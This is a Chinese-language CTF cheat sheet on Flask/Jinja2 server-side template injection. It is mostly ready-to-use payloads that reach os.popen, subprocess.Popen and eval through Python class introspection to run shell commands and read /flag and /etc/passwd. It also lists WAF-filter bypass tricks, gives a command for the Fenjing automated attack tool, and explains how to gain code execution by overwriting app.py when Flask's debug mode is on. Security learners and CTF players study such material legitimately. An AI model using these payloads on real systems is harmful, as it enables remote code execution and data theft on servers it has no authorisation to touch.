flask 注入
常用变量包裹标识符
基础知识
所有的子类都有一个共同的父类 object
__class__
: 返回当前类__mro__
: 返回当前类的继承关系(列表形式),一般__mor__[-1]
为object
类__base__
: 返回当前类的父类(字符串形式)__bases__
: 返回当前类的父类(元组形式),__bases__[0]
等同于__base__
__subclasses__()
: 返回当前类的所有子类,可以通过索引定位某个子类,也可以通过__subclasses__().index(os._wrap_close)
找到某个类的索引__builtins__
: 对builtins
的一个引用,builtins
是 python 的内建模块,就是在使用时不需要import
,就可以直接使用的模块,比如eval
、exec
等等__globals__
: 以字典的形式获取对象全部可调用的变量
可利用类
os._wrap_close
1
{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("shell here").read()}}
subprocess.Popen()
1
{{().__class__.__mro__[1].__subclasses__()[407]("shell here",shell=True,stdout=-1).communicate()[0]}}
_frozen_importlib_external.FileLoader
: 读取flag内容1
{{"".__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
lipsum
方法:flask 的内置方法,自带 os 模块1
name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}
新姿势
1
name={{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
这里的
x
任意26个字母都可以,同样可以得到__builtins__
再来一个
1
name={{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
SSTI 模板注入绕过
- 双大括号 被过滤
使用 {% print() %}
代替
对于不会有回显的盲注,可以采用如下方式进行
1 | {% if xxx %}1{% endif %} |
- [] 被过滤
1 | ().__class__.__base__.__subclasses__().__getitem__(40)('/etc/passwd').read() # 利用__getitem__ |
- _ 被过滤
可以利用 GET 或者 POST 传递参数来绕过,get 参数对应 request.arg
属性,POST 参数对应 request.values
属性
1 | {{ ()[request.args.class][request.args.base][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&base=__base__&subclasses=__subclasses__ |
- 单双引号被过滤
也可以使用 GET 或 POST 传参
1 | {{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag # `subprocess.Popen()` 类 |
此外,如果 args
被过滤,可以使用 values
代替;或利用 cookies
,如下:
1 | {{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}} |
1 | # HTML Header |
- 关键字被过滤
如绕过class,init等关键字,可以用如下方法绕过
1 | []["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__ba"+"se__"] # 拼接、编码 |
- . 被过滤
1 | {{""['__classs__']}} |
注意,__builtins__
、eval()
这种字典中得到的属性值,不能使用 |attr("")
,必须先使用 __getitem__
获取到该属性,如
1 | x.__init__.__globals__.__builtins__.eval('...') |
去掉 .
应该是下面这样的:
1 | x|attr("__init__")|attr("__globals__")|attr("__getitem__")('__builtins__')|attr("__getitem__")("eval")('...') |
过滤器
变量可以通过过滤器修改。过滤器与变量之间用管道(|) 隔开
- attr
获取变量
1 | ""|attr("__class__") # 相当于"".__class__ |
- str
类似于python内置函数str,把显示到浏览器中的全部值转换为字符串再通过下标引用
1 | (().__class__|string)[0] # 出来的是< |
SET 构造字符
1 | //构造pop |
字符转八进制脚本
1 | def string_to_octal_escape(input_string): |
字符转十六进制脚本
1 | def string_to_hex_with_prefix(input_string): |
More
更多的过滤方式可以看
Fenjing
针对CTF比赛中 Jinja SSTI 绕过 WAF 的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口
测试用例:
1 | python -m fenjing crack --url="http://62a50a6b-b8c9-4d34-9015-be09262a4075.challenge.ctf.show/" --inputs name --method GET |
攻击成功后可以以交互的方式操作
scuctf flask盲注
这道题就是无回显形式的flask盲注,正确的情况会返回Ok,错误的情况会返回NO。输入被过滤的字符会返回N0。被过滤的字符如下
1 | backlist = ['{{', 'for', 'eval', 'builtins', 'class', 'base', 'subclasses', 'globals', 'init', 'import', 'config', 'item', 'request', 'ls', 'cat'] |
注意的一点是,这道题用了两次__base__才正常返回了Object类
盲注找可以利用的类的脚本如下
1 | import requests |
替换类一个一个进行测试,可以得到如下类
1 | ##### 137 -> <class 'os._wrap_close'> |
于是使用[137] 子类开始进行盲注
1 | import requests |
flask debug 模式
如果 flask 开启了 debug 模式
- 在代码中如果抛出了异常,在浏览器的页面中可以看到具体的错误信息,以及具体的错误代码位置。方便开发者调试
- python (如 app.py) 源文件被修改都会立刻重新加载
- debug 模式下,可以使用 PIN 码 进行网页调试
开启 debug 模式的方式
- 设置 debug=True
1 | if __name__ == '__main__': |
run()
加属性
1 | if __name__ == '__main__': |
- 设置 app 配置
1 | app = Flask(__name__) |
利用 debug 模式
如果存在文件上传点,且 flask 开启了 debug 模式,那么可以上传一个能 RCE 的 app.py 覆盖原文件,如下所示:
1 | from flask import Flask,request |
然后直接在跟路由进行命令执行
1 | ?cmd=cat /flag |